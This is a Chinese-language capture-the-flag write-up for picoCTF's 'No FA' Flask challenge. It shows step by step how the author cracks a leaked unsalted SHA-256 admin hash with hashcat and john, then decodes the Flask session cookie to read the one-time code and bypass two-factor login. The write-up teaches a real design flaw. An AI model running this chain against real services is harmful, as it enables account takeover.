> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 No FA
- URL: https://taiwanding.com/picoctf-2026-no-fa/
- Published: 2026-08-30T14:35:32.000Z
- Updated: 2026-08-30T14:35:32.000Z
- Author: Kevin Chen
- Tags: 2FA, CTF, CyLab Security Academy, #picoCTF

題目描述：

> Seems like some data has been leaked! Can you get the flag?

這題一開始就很明確地給了兩個東西：

- application code：`app.py`
- leaked data：`users.db`

所以它不是純黑箱亂猜題，而是白箱審計題，題名叫 `No FA`，看起來像是在講 2FA / MFA，再加上題目說資料外洩，所以第一個合理假設是：

**洩漏的資料能不能讓我們繞過 2FA？**

## 題目資訊

- 題目：No FA
- 分類：Web Exploitation
- 難度：Medium
- 平台：picoCTF 2026
- 網站類型：登入 + 2FA 的 Flask web app
- 連結：[https://learn.cylabacademy.org/library/765](https://learn.cylabacademy.org/library/765?ref=taiwanding.com)

## 什麼是 client-side session：簽章不是加密

這題的核心是一個很多人會弄混的觀念：Flask 預設的 session 到底放在哪、又保護了什麼，

Flask 預設把 session 內容放在 client-side cookie 裡，這個 cookie 會用 `SECRET_KEY` 簽章，用途是防止使用者竄改內容——你改了，簽章就對不上。

但「簽章」不等於「加密」：

```text
signed（簽章）：你不能改，但你看得到
encrypted（加密）：你看不到

```

也就是說，Flask 預設 session 是 signed cookie，不是 encrypted cookie，只要你手上有那個 cookie（用 curl、Burp、devtools 都拿得到），就能把裡面的內容 decode 出來，記住這件事，這題就通了一半：只要伺服器把任何敏感東西放進 session，那個東西對使用者來說就是「可讀」的，而這題偏偏把 2FA 的 OTP 放了進去。

## Step 1：下載題目給的白箱材料

先建立資料夾：

```bash
cd /mnt/d/Download
mkdir -p nofa
cd nofa

```

設定網址：

```bash
BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'

```

下載：

```bash
curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db

file app.py users.db

```

結果可以看到：

```text
app.py: Python script
users.db: SQLite 3.x database

```

現在方向很明確：

```text
先看 app.py 的登入規則
再看 users.db 裡有什麼資料

```

## Step 2：先看 app.py 的 route

白箱題我通常會先看 route：

```bash
rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py

```

這題的 route 很少：

```python
@app.route("/")
def home():
    ...

@app.route('/login', methods=['GET', 'POST'])
def login():
    ...

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    ...

@app.route('/logout')
def logout():
    ...

```

首頁邏輯：

```python
@app.route("/")
def home():
    if 'username' not in session or session['logged'] == 'false':
        flash('Please login to access this page', 'red')
        return redirect(url_for('login'))
    
    flag = "No flag for you!!"
    if session.get('username') == 'admin':
        flag = os.getenv('FLAG')
    
    return render_template("index.html", flag=flag)

```

這裡可以先整理出拿 flag 的條件：

```text
session 裡要有 username
session['logged'] 不能是 false
session['username'] 要等於 admin

```

也就是：

```text
我們要變成 logged=true 的 admin

```

## Step 3：看登入和 2FA 流程

登入的核心邏輯：

```python
user = db.get_user_by_username(username)

if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
    if user['two_fa']:
        otp = str(random.randint(1000, 9999))
        session['otp_secret'] = otp
        session['otp_timestamp'] = time.time()
        session['username'] = username
        session['logged'] = 'false'
        return redirect(url_for('two_fa'))
    else:
        session['username'] = username
        session['logged'] = 'true'
        return redirect(url_for('home'))

```

這段有兩個重點。

第一，密碼是：

```python
hashlib.sha256(password.encode()).hexdigest()

```

代表資料庫裡存的是 SHA-256 hash。

第二，如果 `two_fa` 是 true，會產生 OTP：

```python
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'

```

這裡很微妙，

它把 OTP 放進 `session['otp_secret']`，

在 Flask 預設 session 裡，session 內容會被放在 client-side cookie 中，它會被簽章，避免使用者竄改，但它不是加密。

所以：

```text
不能隨便改
但是可以讀

```

這就是整題最核心的問題，

接著看 `/two_fa`：

```python
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    if request.method == 'POST':
        otp = request.form['otp']
        stored_otp = session['otp_secret']
        timestamp = session.get('otp_timestamp')
        if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
            session['logged'] = 'true'
            return redirect(url_for('home'))
        else:
            return render_template('2fa.html')
    else:
        return render_template('2fa.html')

```

這代表：

```text
只要我們知道 session 裡的 otp_secret
並在 120 秒內送回去
就可以把 logged 變成 true

```

## Step 4：看洩漏的 users.db

題目給的 `users.db` 是 SQLite。

可以用 Python 看 schema：

```bash
python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

print("[tables]")
tables = [r[0] for r in cur.execute(
    "SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
    print("-", t)

for t in tables:
    print(f"\n=== schema: {t} ===")
    for row in cur.execute(f"PRAGMA table_info({t})"):
        print(row)

    print(f"\n=== sample: {t} ===")
    for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
        print(row)
PY

```

資料表：

```text
users

```

`users` schema：

```text
id
username
email
password
two_fa

```

admin 那筆資料：

```text
username = admin
email = iamadmin@nfs.com
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1

```

這裡可以得到兩個判斷：

- admin 有開 2FA，所以登入後會進 `/two_fa`
- admin 密碼 hash 已經外洩，而且沒有 salt

沒有 salt 的 SHA-256 很適合字典攻擊，

## Step 5：破解 admin password hash

先把 admin hash 存成檔案：

```bash
python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
    print(row)
    open("admin.sha256", "w").write(row[1] + "\n")
PY

cat admin.sha256

```

用 hashcat：

```bash
hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show

```

或 john：

```bash
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256

```

結果：

```text
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

```

現在我們有 admin 密碼：

```text
apple@123

```

但這還沒結束，因為 admin 有 `two_fa=1`，登入後還會卡在 2FA。

## Step 6：登入 admin，拿到 session cookie

用剛剛爆出的密碼登入：

```bash
BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'

curl -sS -i -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=$PASS" \
  -o login_admin.http

sed -n '1,140p' login_admin.http
cat cookies.txt

```

結果會看到：

```http
HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...

```

這代表：

```text
密碼是對的
但 admin 被導到 2FA

```

而 `cookies.txt` 裡會有 Flask session cookie。

## Step 7：decode Flask session，看 OTP

先裝工具：

```bash
python3 -m pip install --user flask-unsign

```

取出 cookie：

```bash
COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"

```

decode：

```bash
python3 -m flask_unsign --decode --cookie "$COOKIE"

```

結果會看到類似：

```python
{
  'logged': 'false',
  'otp_secret': '3412',
  'otp_timestamp': 1788098991.6469016,
  'username': 'admin'
}

```

這裡就是整題最關鍵的地方，

`HttpOnly` 不是保護這個問題的答案，

`HttpOnly` 只是避免瀏覽器裡的 JavaScript 讀 cookie，但使用者本來就拿得到自己收到的 cookie，只要透過 curl、Burp、瀏覽器 devtools、proxy，都能看到 cookie 值，而 Flask session 的內容是可 decode 的。

它被簽章，所以你不能隨便改：

```text
把 logged=false 改成 logged=true

```

這通常需要知道 Flask `SECRET_KEY` 才能重新簽，但這題不需要改 cookie，因為 OTP 已經被放在 cookie 裡，我們只需要讀它。

## Step 8：送 OTP，完成 2FA

把 `otp_secret` 送回 `/two_fa`：

```bash
OTP='3412'

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
  --data-urlencode "otp=$OTP" \
  -o twofa.http

sed -n '1,120p' twofa.http

```

如果成功，會看到：

```http
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...

```

這代表 `/two_fa` 已經把 session 改成：

```python
session['logged'] = 'true'

```

最後看首頁：

```bash
curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html

```

結果：

```text
picoCTF{Redacted}

```

### 學習重點

整條鏈接起來就是：

```text
users.db 洩漏
-> 拿到 admin 的 SHA-256 password hash
-> 用字典爆出 admin 密碼
-> 登入 admin 後進入 /two_fa
-> OTP 被放在 Flask client-side session cookie
-> Flask session 是簽章，不是加密
-> decode cookie 讀出 otp_secret
-> POST OTP
-> 成為 logged=true 的 admin
-> 首頁顯示 flag

```

真正的問題不是「OTP 太短可以暴力破解」，而是：**OTP 被放在使用者可讀的 session cookie 裡**，這就讓 2FA 變成 No FA。

### 真正的突破點是看懂：

```python
session['otp_secret'] = otp

```

以及知道：

```text
Flask 預設 session 是 signed cookie，不是 encrypted cookie

```

Signed 只能保證「你不能改」，Encrypted 才能保證「你看不到」，而這題只需要看得到 OTP，就已經夠了。